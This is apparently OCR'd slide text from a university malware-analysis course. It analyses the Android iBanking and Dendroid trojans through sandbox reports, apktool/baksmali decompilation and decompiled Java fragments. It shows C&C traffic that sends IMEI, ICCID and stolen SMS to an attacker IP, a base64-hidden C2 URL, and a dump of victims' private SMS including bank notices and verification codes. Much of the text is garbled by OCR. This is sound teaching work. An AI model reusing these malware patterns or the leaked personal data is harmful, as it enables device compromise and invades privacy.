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Android

v Android is a mobile operating system (OS) based on the Linux
kernel.

v Developed by Google Inc.

v The Android beta Version released on November 2007.
v 2008 HTC Dream

Android Malware
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Android

Worldwide Smartphone OS Market Share Embed
(Share in Unit Shipments)

. 1 o e ol
Source: |DC, Aug 2015 — Android — 05 ——Windows Phone —— BlackBerry 05 —(thers
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Android

Mobile/Tablet Operating System Market Share

Period Android 0% Windows Phone BlackBerry 0% Others
201502 82.8% 13.9% 20% 0.3% 0.4%
201402 a4 8% 11.6% 25% 0.5% 0.7%
201302 9.8% 12.9% 3.4% 2 8% 1.2%
201202 B9, 3% 16.6% 31% 4.9% B.1%

Source: 1DE, Aug 2015
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Android

DOWNLOAD APPS

http://droidindonesia.com
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Statistic of Android ljsers and Internet habits in Indonesia
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onal Theft

t

Trad

Everyone should prepare to become a victim at some point.
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Modern Theft

Defined as the successful or attempted misuse of CC, Bank-Account
or other Personal Information
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Android Malware Type

Malware (malicious software)

is any software used to disrupt computer operation, gather sensitive
information, or gain access to private computer systems.

Trojan

malicious programs that perform actions that have not been
authorised by the user.
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Android Malware Type

RAT atau Remote Access Trojan

is @ malware program that includes a back door for administrative
control over the target computer.

RATs are usually downloaded invisibly with a user-requested
program -- such as a game -- or sent as an email attachment.
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Analysis Method

Dynamic Analysis Malware

Static Analysis Malware
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IBanking Malware
Dendroid Malware

Android Malware
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Sample

Dynamic Analysis Malware (anubis)
iBanking Malware

- Required Permissions

- android.permission.READ_PHONE_STATE

- android.permission.ACCESS_WIFI_STATE

- android.permission.CHANGE_WIFI_STATE

- android.permission.READ_PHONE_STATE

- android.permission.CALL_PHONE

- android.permission. ACCESS_NETWORK_STATE

- android.permission.CHANGE_NETWORK_STATE

- android.permission. WRITE_EXTERNAL_STORAGE
- android.permission. ACCESS_NETWORK_STATE

- android.permission.INTERNET

- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission. WRITE_SMS

- android.permission.READ_SMS

- android.permission.RECEIVE_SMS

- android.permission.SEND_SMS

- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.READ_CONTACTS

- android.permission.RECORD_AUDIO

https://anubis.iseclab.org/?action=result&task_id=1deac1ebce56772942986667555053a55&format=html
Android Malware
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Android Malware CNC

- Network operations

School of Computing Science and Engineering

| »

Timestamp Dperation Host Port

11.061 opeEn 203.34.119.20 a0

11.061 write 203.34.119.20 _ a0

POST /iBanking/swms/ping.php HTTP/1.1 Content-Length: 0O Host: 203.34.119.20 Connection: Heep-Lliwve User-Agent: Apache-
HotpClient/UNAVAILAELE (java 1.4)

= 203.34:119.XX =

HTTP/1.1 200 QE Date: Wed, 06 May 2015 04:27:49 GMNT Serwver: ApachefZ.4.9 (Win3Z) OpenS5L/1.0.1g PHP/5.5.11 ¥-Powered-By:
PHE/5.5.11 Content-Length: 1 Keep-Ailive: timeout=5, max=100 Connection: Eeep-Alive Content-Type: text/html 1 L

34.063 apEn 203.24.119.20 a0

60,100 read 203.24.119.20 g0

HTTF/1.1 200 OE Date: Wed, 06 May 2015 04:28:13 GNT Zerver: Apaches/Z.4.9 (Win3Z) Open33L/1.0.1g PHP/S5.5.11 X-Powered-EBy:
PHF/5.5.11 Content-Length: 11 Eeep-Ailive: timeout=5, max=100 Connection: Keep-Lilive Content-Type: text/html login TRUE

38,083 apen 203.24.119.20 80

98,083 write 203.24.119.20 a0

POST /iBanking/sms/ping.php HTTE/1.1 Content-Length: 0 Host: 203.34.119.20 Connection: Eeep-Aliwve User-Agent: Lpache-
HotpClient/UNAVAILAELE (java 1.4)

106,100 read 203.24.119.20 a0

HTTE/1.1 200 OK Date: Wed, 06 May 2015 04:29:17 GHT Zerver: Apache/sZ.4.9 (Win3Z) Open33L/1.0.1g PHP/S5.5.11 X-Fowered-EBy:
FHF/5.5.11 Content-Length: 1 Keep-Llive: timeout=5, max=100 Connection: Eeep-Alive Content-Type: text/html 1

CnC Server
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Android Malware Control

- Data leaks
Timestamp Leak Type Content Leaked Destination
11.061 SIS TaINT_ICCID

i am (89014103211118510720 + Unknown generic)

33,063 e . 203.34.119.20:80
| Bot_id=471

POST fiBanking/sws/index.p muw—form-urlencoded Host:

203.34.115.20 Connection: § CNC Number= +628564256XXXX .4] hot id=471&mumiber= 5555215554&

icoid=39014103211118510720 Lcontrol number=:ZBE

107.063 rebwork TAINT _IMEL 203.34.119.20:80

PO3T /iBanking/sws/syne.php HTTP/ 1.1 Content-Length: 113 Content-Twpe: application/x-wnw-form-urlencoded Host:
203.34.119.20 Connection: Eeep-Alive User-Agent: Apache-HttpClient/UMAVAILABLE / ava 1.4) bot _id=471&imei=357242043237517&
izcallhack=1l&izsmshack=1l&isrecordhack=14isadmin=0&ccontrol number=32B62585642565

182.064 network TAINT_IMET 203.24.119.20:20

PO3T fiBanking/smws/sync.php HTTP/1.1 Content-Length: 113 Content-Type: application/x-wywv-form-urlencoded Host:
203.34.119.20 Connection: Eeep-Llive User—-Agent: Apache-HttpClient/UNAVAILAELE l"'==-v=~ 1 4% et id=4716imei=357242043237517&

iscallhack=1lsissmshack=1sisrecordhack=1&isadmin=0scontrol number=352B628564256.

Control Number for Remote Access Trojans
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Static Analysis Malware

[ Japktool d -s 280887.apk bali/in ]

[Footldpent
I Copying
I: Loading

I: Loadesd.

I: Decoding AndroidMani ¥ml with resources...

I: Loading resource t: rom file: froot/apktool/framework/1l.apk
I: Loaded. : i

I: Fegular manifest package... [tootipentest in]# 1s -al

I: Decoding file-resources... total 444

I: Decoding wvalu wi*® HMLs. ..
I

I

[

Ihone. ;
Copying assets and libs... drwir-xr-x 4 root root

drwxr-xr-x 3 root root 4096 Sep

rootidpen . alat] # -EW-E--L-- root root 3386 Sep 15 19:3:2 AndroidManifest.xml

Decomp”e File Apk root root 282 Sep 1 : -41_|]~'1' ool.yml

root root 430168 Sep
root root 4096 ep
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Android Malware Code

ctool. vl
. 1n] # cat AndroidMani
1on="1.0" encodin
android:ver 3 1 dof: ="1.2" package="cow.BloTechnology.1Client
ndroid
e="android.
android e="android. pe
androld { android.
1 androlc { android.
android { android.
android 1) android.
on ahdroid: nam ndroid.
on androlc 1) android.
android i ndroid.
android { android.
1 androic 1) ndroid.
android: nam android.p
androic 1) android.
android { android.
1 oandroic { android.
1 androlic i ndroid.pern 1. REC IPLETED™ />
android: nam android. LT “
tandroid.

Permission Access

android: ns

o
i1
II
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Static Analysis Malware

[java -jar baksmali-2.0.2.jar bali/in/classes.dex -0 bali/out/ ]

Lf‘t rooti@pentest: ‘tmp/alat/bali/out
[Footldpent . out]# 1=
total 16

AEWKE-XE-X 4 root root

i1l
m
g

AdArwxr—-=xr—x 4 root root

i1
m
o

AdArwxr—-=xr—x 4 root root

i1
m
o

AdArwxr—-=xr—x 4 root root

i1
m
o
IEI I

[rootdpent

Result Disassembler file format dex
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Static Analysis Malware

name="app nsme "

tring nsme="template

tring name="icon path'":
[ LW ne=] H Ztring name="def tel nun

Lring 1 e

Lring 1

ring

tring

Cring

Cring 1

Lring i

Lring 1

Control number
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Android Malware

ol

@ Mobile Security

Do you want to install this applica

Allow this application to:

- Your personal information
read contact data

Services that cost you

money
directly call phone numbers, send
SMS messages

Your messages
edit SMS or MMS, read SMS or M)

SMS

Network communication

full Internet access

Storage

modify/delete SD card contents

Hardware controls
record audio
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T g \When installing, this application

= _ , IS requiring Device Administrator.
Mobile Security

P

v' This application can wipe all
data

Erase all data
Erase the phone's data without war
by performing a factory data reset

Lock the screen
Control how and when the screen lo

Program Name: B.Tech CSE Hons With Specialization in CNCS
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Android Malware

{
default:

thiz.deviceManger = ({DevicePolicyManager|get3ystemService ("device policy”)):

ComponentName localComponentName = new ComponentName (this, MyAdmin.class);

this.complame = localComponentName;

if ('this.deviceManger.ishdmindctive (this.complame) )

{
Intent locallntentd = new Intent{"android.app.action.ADDEBEVICE RDMIN") ;
locallntentd.putExtra("android.app.extra.DEVICE ADMIN®, this.compName);
locallIntentd.putExcra ("android.app.excra.ADD EXPIANATION", “Additional text explaining why this needs to be added.”);
aterthctivityForReault {locallntentd, 1);

}

rweturn:|

Android Malware
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Android Malware

public woid onReceive(Context paramContext, Intent paramIntent)

{

This

Log.d{"mylog”, "SmsRecievercnReceive”);
Bundle localBundle = paramlntent.getExtras();

this.context = paramContext; a p pI icatio n Ca n

String strl.= "7;

k] ercanttiizc: be controlled

if ({localBundle != null)

{ by using sms

array0flbject = {Object[])localBundle.get("pdua”);

faza];fnntext.ge tCententResolver(): by CO ntrol

int j = array0fCbject.length;

i e number

}
else
{
return;
}
SmaMessage localSmsMessage = SmsMessage.createFromPdu({byte[])array0fiCbject[i]);
SmaManager lcocalSmsManager = SmsManager.getDefault();
String str? = localSmsMessage.getDisplayMessageBody () .toString():
String str3 = localSmsMessage.getOriginatinghddress{).trim{);
atrl = new StringBuilder(String.valueOf{scrl)).append{str3).append("|").toString() + 3tr2;
Log.d{"myleg”, "SmaReciever debug " + strl):
dbdctions localdblctions = dbActions.getInstance(this.context);
if {{!lccaldblctions.isSMSHack({)) ss ({'str3.equals{smsParser.tell}) ss {13tr3.equals{"+62_'n ss (latr3.equals("+s 2
for {;:)
{
label2l5:
it+:
break;

if ((str3.equals{smsParser.tel1)) || (strd.equals{"+62NNNEIN)) | (sce3.equals(+s N

Android Malware
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rStream Content

POST etList.php HTTP/1.1

\cont = R

Content-Type: application/x-www-Form-urlencoded
|Host: 203.34.115.20

[Connection: Keep-aAlive

|User-agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

|sms_115t=%0AINDOSAT.7CH7C%7CSel amat+anda+dpt+bonus+pulsa+20rb+dr+Promo+Haii. +Bonus+hanya+bisa+digunakamntutk+Tel pon%265Ms+di+saudi+Arabia+tgl+31+ags-30
+Nov+2014. +Cek+Bns+*122% 501%2 3%7CH7CH7C22-5ep-14+%2809%3A00%3A57 2562 9% 7 Ch%7Ch%7 C1%0A303%7 C7C%7 CSe ]l amat+menikmati+0brol+60mnt+keIndosat+seIndonesia+Jam
1+00-17%28Cek+*555%1%23%29. GRATIS+NELP+100mnt%2Fhari+selama+3hari+ked+nmr+Indosat. Tekan+*777%2%3%23+pi 1 1hREGISTRASI. +Tr ansferPULSA+sKkr g+FREE+Games%21

+¥1 23T 2D INTCHRTCHTC22-5ep-14+%2B08%3IA35%3A083%2 9% T CHTCHTC1%0A%2B628564 641214 6%7C%TCHETCASsal amu] alkumtiwr . +wbomt+saya+sudah+submit+abstrak+ke+riset®
'4Uidsirtﬁi.co.idBe1um+ada+ga1asan%2cartinya+di+t01ak+apa+gi+mana+ya+hehe%?c%?c%?c22—Sep—14+%2803%3A12%3A92%2Q%TC%?C%?CI%OA303%?(%?(%?cse1amat+menﬁkmati
|+0brol+60mnt+keIndosat+seIndonesia+lam-00-17%28Cek+*555%1%23%29. GRATIS+NELP+100mnt%2Fhari+selama+3hari+ked+nmr+Indosat. Tekant+*777%2%3%23+p1 11 hREGISTRASI.
+TransferPULSA+skrg+FREE+Games 21 +%12 357 #2502 37 CH7C%7C21 -Sep-14+5%2 808%3A2 5%3A1 2 822 957 CH7 CH7C1%0ABanKBTNGT C7 Cor Yt h+ Bpk%2FIbux2c+Tagihar+angsuramn+kredit
.+Anda+jatuh+tempo+0?%2F09%2F14%2c+mohon+1akukan+pemba¥aran+segera%2c+abaikan+5MS+ini+jika+sudah+membayar.+info+tagihan+hub+%3A+500286%?c%?c%?c04—5ep—1¢+%
|2819%3A37%3A621%2 9%7 CRTCRTC1R0ABankB TN C7 CH7Cyth+ Bpk®2 FIbuXk2C+Tagihantangsuramntkredit+Andat jatuh+ tempo+ 07 %2 F0B%2F14%2C+mohorn+ 1 akukan+ pembayarantsegera®
2C+abaikan+sms+ini+jikat+sudah+membayar. + info+tagihanthub+%3A+ 500286%7 CH7CH%7COS-AUg-14+%2 81 8%3A373IA03 252 057 CHT CHTC1%0ABankBTNST CH7 CH7 CYth+ Bpk%2F Thu%2C
+Tagihan+angsuran+kr edit+anda+ jatuh+tempo+07%2F07%2F14%2C+mohon+ 1 akukan+pembayar an+segera%2c+abaikar+sms+ini+jikat+sudah+membayar . +1nfo+tagihanthub+%3a
'+500286%?c%?c%?c05—3u1—14+%280G%SAUl%BAQIE%ZQ%?C%?C%?clxﬂABankBTN%?C%?C%?CYth+Bpk%ZFIEu%2c+Tagihan+angsuran+kredﬁt+Anda+jatuh+temp0+0?%2F06%2F14%2c+m0hon
+1akukar+pembayar ar+segera%2c+abaikamn+sMs+ini+jikat+sudah+membayar. +info+tagihan+hub+%3A+ 5002 8857 CH7CR7CO6-Tun-14+%2 81 9% 3A08%3A7 68%2 927 CR7 CH7 CLH0AR
-236285635423??%?(%?(%?CA55a1amua1aﬁkum+ji.+SE1amat+menempuh+hidup+baru+ya%2c+mugo+dﬁ+ﬁaringi+1anggeng+%25+ke1impahan+rahmat+sangkﬁng+Gu5ti+AT1ah+5wt.+%?c
%67 CH7C11-May-14+%2B14%IAI2%IAT 87 %2 9%7 C%/ CH7 CL%0ABank BTN/ Co7C%7CYThBpk¥%2F Tbu%2C+Tagihan+angsurart+kredit+Anda+jatuh+tempo+07%2F05%2F14%2C+mohor+ 1akukan
|+pembayar an+seger a%2C+abaikarn+smMs+ini+jika+tsudah+membayar. +info+tagihan+hub+%3A+ 500286%7 CH7CH7CO6-May-14+%2816%3A35%3A07 0%2 9%7 C2%7 CH%7 CLH%0AZ ALORART CH7C%
'TCP1gn+Za10ra+YTH.Pembayaran+Anda+sudag+kami+terima.Estimasi+ engiriman+Ikt+1-3%2F Tuar+Jkt+2-6+hari+ker jasrCe7C%7CL8-Jan-14+%2811%3A51%3A686%2 9% 7 Ch%7C%
7C1%0A20000%7 CE7CH7CYou+havermissed®3a+%2B60102764 571+%281+cal 1+at+200ec+20%3A08%29. %7 CH7CHTC20-Dec-13+%2 81 9%3A08%3A54 2%2 9%7 CH7CH7CL%0AZ 0000%7 C%7CH%
|[7cThank+you+for+topping+up%2c+U+will+receivetran+sMs+confirming+free+calls. Terima+kasih¥2c+anda+akan+terimat+sMs+pengesahan+panggilan+percuma+sebentar
l+1agi. %7Ck7CH7C15-Dec-13+%2B821%3A51%3A37 3%2 9%7 C567 CH7C1%0A20000%7C57C%7CYou+have+mi ssed%3A+%2B60102764571+%281+call+at+13Dec+21%3A17%29. %7 CH7C%7C15-Dec-13
+%2820%3A35%3A7 37 %29%7 CH7CHT7CLHM0A20000%7 CH7 CH7CTop+Up+successTul+RM5+2013-12-13+21%3A1 5%3A07+Trans. IDL 3317737 . %7 CH7CH7C13-Dec-13+%2820%3A1 5%3A7 §8%29%7C%
|7C%TC1%0A20000%7 CHFCHTCTop+Up+successTul+RM5+2013-12-12+21%3A12%3A50+Trans. IDL3266776. ¥7CHFCH7CL2-Dec-13+%2820%3A12%3A809%2 9% 7 C%7ChB7CL%0A20000%7 C3%7 C%
7CTop+Up+successful+RM5+2013-12-10+22%3A01%3A27+Trans. ID13161485. %7CH7CH%/CLO-Dec-13+%2821%3A01%3A3 5%2 9%7 CH7 CH7/C15%0A2811 B%7Co%7C%7/CRMO. U+r+subscribed+to
+UMI+18. Ur+account+has+been+charged+RM1E. Subscriptiontwill+renew+on+09%2F01%2F14. Dial+*118%23+to+check. Set+APN+TO%3AMY 3QE7CE7C%7C10-Dac-13+%2820%3A57%
|3A614%2 957 CH%7 CHTC1%0AZ0000%7 CH7CE7CTop+Up+successTul+rRM2042013-12-10+21%3A55%3A57+Trans. ID1316137 5. ¥7C%7CH7C10-Dec-13+%2820%3A55%3AB6%29%7 CH7CHTC1%
|0A20000%7CH7C%7CPlease+save+these+settings+received+totenjoy+U+Mobile®27s+services.+Enter+1318+if+PIN+is+requested. +Dial+*118%23+to+get+the+latest
+content®2C+account+infoX2C+etc,. ¥7CHTC%7CL0-Dac—13+%2 820%3A55%3A91 9262 957 C27 C%7 C1%0AGOOGLEXT C%7 CH7Cyour+Google+verificationtcode+is+ 27901257 CH7CH%IC28-
Nov-13+%2823%3A5B%IAT6%29%7CHT CR7C1%0A1 0657 300024 58%7CH7 CH7 CHEORBBHO0%E S%BDROAKE SHAACATRE 7 04 HB 7 HE 7 HAT %01 XE4 XB BXOI%E SHAERBO%E 0%B BRAOXKE 9%AGABKE0REBFX90%
|[E7 A4 7B AREFRBCHOBRE D %0008 7 2E 8%A1 %A1 E 9%0A SRAERE 9%A 3% OF %E 55A S RBDRE 7 % 9DMAALE 7259 C A DRE FRBCRBCHRE 0%BF A9 0%E 9%ABKR I BRE 62594 %8 9%E 5296784 E 058 0%AT %E 378 A% OFREBA%E 3%B DR
|E3%80%8 23E7 AT HEBXE 55ADKAIRESXBDAI IMECLBA ROFHE 5387 B 9% EF XBCHBCHKE 7% 94 5B 7 %E 7 70A 7301 XE 658 0% 8BHE 6% 0CHAFXE 9% BBHWB45E 95687 391 %E 57ADRAIHE 3HB0%E 2 HE BXAFXE 7 E BRAFEA2R
|EF%BC%OBB2 83 8099%E 5%0C%B0%E 5%00%8 0%E FXBC%0BME 6% 8 B%90%E 9%8 3%BDME 5%A4 %0 6%E 5% 8FMBCHE %A SHADREAMBCISBARE 8507 AL %E 5%0 5%B6%E 5% 0CHBAKE 5% AF%BO%E 0% 0D5%A 2% 7 C3%7 C%
|7C18-0ct-13+%2B1B%3A27%3A61 5%2 9967 C2%7 C%7 C1X0AGOOGLEX? CHF CR7/CYour+Googl e+verification+code+is+425437%7C%7CH%7COB-5ep-13+%2B10%3A11%3A5 b6%29%7 C%7 C%7 C1%0A%
2B6285782528611%7Cx7Cx7CPel anggamn+yth%3Ase] amat%21+No. SimCard+anda0856425xxxresmi+terpilihmenang+gebyarPOIN+plus—-plusedisi+th2013rPin+anda®3aer56d7U%
2Finfo+k]d k%3 awaw. hadiah-poin. com%7CH7CH7C31-Jul -1 3+%2B801%3A34%3A576%2 0% 7 C%7 Co%7 C1%0A%2B4 92220931 27 37%/ CH7C%7CYour+Viber+code+ 1 5%3A4 31 27%7CH7CH7C13-Jul -1 3+
%281 6%3A07%3A282%29%7 C7CHICL%M0A%2BA 9222931 27 37%7CHFCHICYour+viber+code+is%3A+ 3127 %7 CH7CHTCL3-Ju] -1 3+%2 81 6%3A07TH3A663%2 957 C7 C%7 C1%0A%2B62857 79269941%7C%
CH7CSTImE+simCARD+anda+ 08564 2xxxxxx+mdpatuang+tunai+Rp. 49 t+PIN+%2 8RWD2749%2 9U%2F i nfoCS%2C0857 7261111 5+atau+kunjungiwww. poin-indosat. jimdo. comf7 C7C%
|7C13-JuT-134%2801%3A44%3A47 3%29%7 37 CH/C1%0A%ZB628571 820194 8%7 (%7 C%7 CTOKO+ABADI+REZKYPromo+Diskornt 50%2 5. HandphoneX%2FPC+TabletLaptop%2FCamera+DLL ., U%2FInfo

Android Malware
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Last
lenphane IcCID Model = OS IMEI Cheiand -onio

number command  number
send

- 8962211142600656134 Sony Android | 358506046760330 | 22-09-2014 | none (send)  +62 NN

Ercsson 404 05:38:57
LT18i
8962211142600656134 Sony Android | 358506046760330 22-09-2014  none (send)  +6 G
Ericsson 404 05:38:57
LT18i

Admin Page

Android Malware
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CNC Server

| Incomming | Outgoing

Refresh | Remove all I|

# From number Received time SMS text

2 INDOSAT 22-Sep-14 (09:00:572) Selamat anda dpt bonus pulsa 20rb dr Prome Haji. Banus hanya bisa digunakan utk Telpon&SMS di Saudi Arabia
tgl 31 Ags-30 Nov 2014. Cek Bns *122°501%

3. (303 22-Sep-14 (08:35:983) Selamat menikmati Obrol 60mnt kelndosat selndonesia Jam 00-17(Cek *555%1#).GRATIS NELP 100mnt/hari
selama 3har ked nmr Indosat Tekan *777*2°3# plihREGISTRASI. TransferPULSA skrg FREE Games! "123'T"2%

4 | +6285646412146 22-Sep-14 (08:12:92) Assalamulaikum Wr. WbOm saya sudah submit abstrak ke nset@idsirtii.co.idBelum ada balasan,artinya di tolak
apa gi mana ya hehe

b 303 21-5ep-14 (08:25:128) Selamat menikmati Obrol 60mnt kelndosat seindonesia Jam 00-17(Cek *555"1#).GRATIS NELP 100mnt/han
selama 3hari ked nmr Indosat Tekan *T772°3% pilhREGISTRAS. TransferPULSA skrg FREE Games! "123'T°%

6 | BankBTN 04-Sep-14 (19.37:621) Yth Bpk/lbu, Tagihan angsuran kredit Anda jatuh tempa 07/09/14, mohon lakukan pembayaran segera, abaikan
SMS ini jika sudah membayar info tagihan hub - 500286

GET SMS (Inbox)

Android Malware
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Malware Code

Dynamic Analysis Malware (anubis)

Dendroid Malware
https://anubis.iseclab.org/?action=result&task_id=1778261cb8ce2f3943db8f62a9aa3c1d1&format=html

Required Permissions
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.QUICKBOOT_POWERON
android.permission.INTERNET
android.permission.READ_SMS
android.permission.WRITE_SMS
android.permission.GET_ACCOUNTS
com.android.browser.permission.READ_HISTORY_ BOOKMARKS
android.permission.ACCESS_NETWORK_STATE
android.permission.READ_CONTACTS
android.permission.ACCESS_FINE_LOCATION
android.permission.GET_TASKS
android.permission.WAKE_LOCK
android.permission.CALL_PHONE
android.permission.SEND_SMS
android.permission.WRITE_SETTINGS
android.permission.READ_PHONE_STATE
android.permission.WRITE_EXTERNAL_STORAGE
android.permission. CAMERA
android.permission.RECORD_AUDIO
android.permission.PROCESS OUTGOING_CALLS
android.permission.RECEIVE_SMS
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Permission

[+ Reguired permissions

android.permission ACCESS_FIMNE_LOCATION (fine ((FFP2) jocation

android. permission. SERD_SME (send S5 messages)

android permission RECENE_BOOT_COMPLETED (automaticalls start at hoof
android.permission. READ_COMTACTS (read contact oata)

android permission. QUICKBOOT_POWEROM (Lin&knowhn permlssion from ancdiold reference)
com.android browserpermission READ_HISTORY_BOOKMARKS (read Browser's histons and boolimarnks)
android.permission.FREOCESS_OUTGOIMNG_CALLS (ntercent outgoing cails)

android permission. CTAMERA (fake pictlyes and wideos)

android permission WRITE_SMS {ecit S045 ar MES,

android. permissionWalkE_LOCE (orevent phone from sleaping)

android permission. GET_TASKS (relrieve running spnlic ations)

android. permission.CALL_PHOMNE {(directl call phone numbears)
android.permissionWRITE_SETTIMNGS (modify ginbha! systerm seftings)

android.permission. RECENE_SME (receive SIS

android.permission. READ_FPHOME_STATE (read phone state anc ichentig
android.permission ACCESS NMETWORK_STATE (wiew nehsars stails)

android permission INTERMET (fuil internet access)

android permission READ_SMS (reac S0AS ar WIS,

android permission WRITE_EXTERMAL _STORAGE (modifividaiste 50 card contents)
android.permission.GET_ACCOURNTS {(discover Enowwn secounts)

android.permission. RECORD_AUDID (record auaia) http://bit.ly/1isAmlo
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Anubis Report

- Used Features
android.hardware.camera
android.hardware.camera.front
android.hardware.camera, autofocus
android.hardware. microphone
android.hardware. location
android.hardware, location.gps
android.hardware. telephory

android.hardware, touchscreen

- File operations
Timestamp DOperation  Path

7102 write {datafatafrom,adabe. flash13/shared _prefs/tom.adabe flash13_praferences.xml|

<Pxml version='1.0' encoding='uti-8' standalone='yes' T <mwapr <long name="inacall"™ wvalus="0" /> </wap:

7.102 wite {datz/data/com.adabe. flash13/shared_prefe/tom.adabe. flash13_praferences.uml|

27uml version='1.0' encoding='uti-3' atandalone=s'yea' 7> <mapr <int name="Tiweout" value="10000" /» <long name="inacall"
value="0" /» </mapr

7102 write {datz/data/from.adabe. flash13/shared_prefs/tom.adabe. flash13_praferences.xml]

<7uml version='1.0' encoding='uti-8' standalone='yes' 1 <wapr <hoolean name="RecordCalls" walue="trug" /» <int
name="Timeout" value="10000" /> <long name="inacall" walue="D" /> </map>

7102 write {datz/data/from.adabe. flash13/shared _prefs/tom.adabe. flash13_praferences.xml|

<?¥ml version='1.0' encoding='uti-8' standalone='yes' 7 <mapr <hoolean name="intercept” value="false" /» <hoolean
name="RecordCalls" value="true" /» <int name="Timeout" value="10000" /» <long name="inacall™ wvalue="0" /> </map>

7.102 write [ata/data /rom, adabe. flash13/shared _prefs/tom,adabe. flash13_praferences.xml|

<Ixml version='1.0' encoding='uti-8' standalone='ves' 7 <mapr <string name="indroidID"rbeaec820de6sddied/strings
<hoolean name="RecordCalls" value="true" /> <int nawe="Timeout" vslue="10000" /> <boolean name="intercept" value="false"
{» <long name="inacall" valus="0" /> </map:
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CnC server Not Found ®

Examples of malware analysis at
Virustotal website and Anubis,
the results obtained on both the
website CnC server could not be

found.
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Android Malware

Static Analysis Malware

[ Japktool d -s rnd.apk kutabali/in ]

[tootlpentest als

ing AndroidMani ¥ml with resources...
Loading resource tahb rom f£file: frootfapktool/frameworky1l.apk

Done.
Copying ass

I:
I:
T
T
Tes
s
s
Tt
I:
T
Tes

Decompile file apk

AndroidManifest.xml
apktool.vinl
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Android Malware

Static Analysis Malware

[java -jar baksmali-2.0.2.jar kutabali/in/classes.dex -o kutabali/out/ ]

f root@pentest: tmp/alat/kutabali/out
[rootfdpentest out]# ls -al

total 20

T —x root root 4026 3
THE—x
T — X
TR —x
T —x

rootdpentest out]# puwd
E F

[

i

root root

<
4

w 4 root raoot
[

i

[

]
* 5 root root

root root 4098 3

i

Ftmp/falat/kutabalifout
[rootfdpentest out] # !

Disassembler file format dex
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<uges-permission android:nawe="android.permisaion. RECEIVE BOOT COMPLETED' i
<gsupports-screens android: large3creens="true" android:resizeable="true" android:xlargel3creens="true" />
<application android:theme="@style/Invisible” android: label="Bstring/app name" android:icon="Bdrawsbhle/launcher" android:debuggable="true">
<activity android:name="com.connect,.lendroid” android:excludeFromRecents="true">
<intent-filters>
<action android:name="android.intent.action. MAIN™ /=
<zategory android:name="android. intent.category. LAUNCHER" />
</intent-filcer:
<factivitys
<activity android:name="com.connect.Dialog" android:excludeFromBecents="true" />
<activity android:name="com.connect . CaptureCaweralmage™ android:excludeFromRecents="trus" />
cactivity android:name="com.connect . CameraView” android:excludeFromRecents="true" />
cactivity android:namwe="com.connect . VideoView" android;excludeFromBecents="trus™ />
<gervice android:nsmwe="com.connect.Mydervice” android:enabled="true"” android:exported="trus" />
<gervice android:name="com.connect. RecordService” />
<recelver android:name="com.connect.Serviceleceiver” androidienabled="true” android:exported="trus">
<intent-filter android:prioricy="1000M7":
<action android:name="android. intent.action.BOOT COMPLETED™ iz
<action android:name="android.provider.Telephony.3H3 RECEIVED" i
<action android:name="android.intent.action.PHINE 3TATE" />
<action android:name="android.intent.action, ACTION EXTERNAL APPLICATIONS AVAILABLE'" />
<action android:name="android.intent.saction, QUICKEOOT POWERIN™ /-
</ intent-filter:
“/receivers
</applicationy
<uses-permission android:nawe="android.permission. QUICKROOT POWERCN" android:required="false" =
<uges-permission android:name="android.permission. INTERNET" android:required="true" />
<uses-permission android:name="android.permission.RELD SM3" android:required="true" o
<useg-permission android:name="android.permission.WRITE 3M3" android:required="true" =
<uges-permission android:iname="android,permisaion. GET ACCOUNTS" android:irequired="true" iz
<uses-permission android:name="com.android.brovser.permizssion. READ HISTCORY BOOKMARES™ />
<uses-permission android:nawe="android.permission. ACCESS NETWORE STATE" android:required="true" i
<uses-permission android:nawe="android.permission.READ CONTACTS" android:required="trus" i
<uses-permission android:nawe="android.permission. ACCESS FINE LOCATION" android:required="true" i
<uses-permission android:nawe="android.permission.GET TASES" android:required="trus" fo
<uses-permizsion android:nawe="android,permission. VARE LOCE" android:required="false" o
<useg-permission android:name="android.permission.CALL PHONE" androidirequired="true" e
<uses-permission android:name="android,permisaion.3END 3M3" androidirequired="trus" =
<uges-permission android:nawe="android.permission. WRITE FETTINGE" android:irequired="false" f=
<uses-permission android:nawe="android.permisaion.READ PHONE STATE" android:regquired="false" i
<uses-permission android:nawe="android.permission.WRITE EXTERNAL STORAGE" android:required="trues" P

Permission
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Android Malware

public class MyService
extends Service
E
private Boolean GPlayBypass = Boolean.razlusdfitrue) ;
private ﬁtrlng‘__URL,:
private String androidId;
private String backupURL = "aHROCDovLzESMidxNidlLjUwLZphiasy’:
private. S tring device;:
private -_S;trihg -En;ﬂdadE&ssward = “?mEquEthﬂ]'i"ENr;r:—-_
private. -;‘.Z-_uf'tr:i.;'ng encodedlURL = *'a}EFEGEErpHLzEEHidt:{Nl41L]UHLE;:rh'f23v",
private Boolean intercept = Eﬂu:ule-an F_&]HEE’I_“J: false)
private lomyg interval = 3600000L;
private. -E[cruh_le. lati t_uﬂiz.;_
private J.Ecuzaticunﬁmager_ i&uﬂi&t‘:—.&ge;;
private Location -lﬂcaticun.:_l

URL Encode
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Android Malware

Baset4 decode Baseb4 decode

Decode hasefd string from Y mFzZT¥OIGRIY29kEA="10 'ba: Decode basetd string from YmPeZTYOIGRIY29KEA= {0 basebd decoder’
aHROCcDovLzEIMidx=Mia 1 LjLwlL2phy 25y YmIuZ2tho)y2ig==

CHARSET (OPTIONAL) -~ |

http: 1 72 .16.5 804 ack!

Base64 Decode

Android Malware

Program Name: B.Tech CSE Hons With Specializationin CNCS



UNIVERSITY Course Code : cSCN4020 Course Name: Antivirus and Malware Analysis

(? GALGOTIAS School of Computing Science and Engineering

Android Malware

Base64 decode CnC servers using Base64
Decode bhaseBd string from YmFzZTYOISRIY23kZR]="to 'basebd decoder' e n Crypti On ,

aHROcDovLzESMidaMid 1 LjLhwlL 2phy 25y

Online tools for analyzing
malware such as anubis
and VirusTotal was not able
to detect.

CHARSET (OPTIONAL) ~

http: 1 72 .16.5 804 ack!

Base64 Decode

Android Malware
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Android Malware

Myiervice.this.device = Build.MODEL;
MySerwice.thiz.device = Mylervice.this.device.replace(™ ", "");
MySerwice.thiz. sdk = Integer.valuedf(Build. VERIION, 5DK) . todtring();
TelephonyManager localTelephonyManager = (TelephonyManager|My3ervice.this, getdpplicationContext (). getivsteniervice ("phone™);
Myiervice.this.provider = localTelephonyManager. getNetworkOperatorNane() ;
MySerwice.thiz, phonenumber = localTelephonyManager. getlinellumher();
MySerwice.thiz, locHanager = [ (LocationManager|Mydervice,this, getiyatendervice["location™));
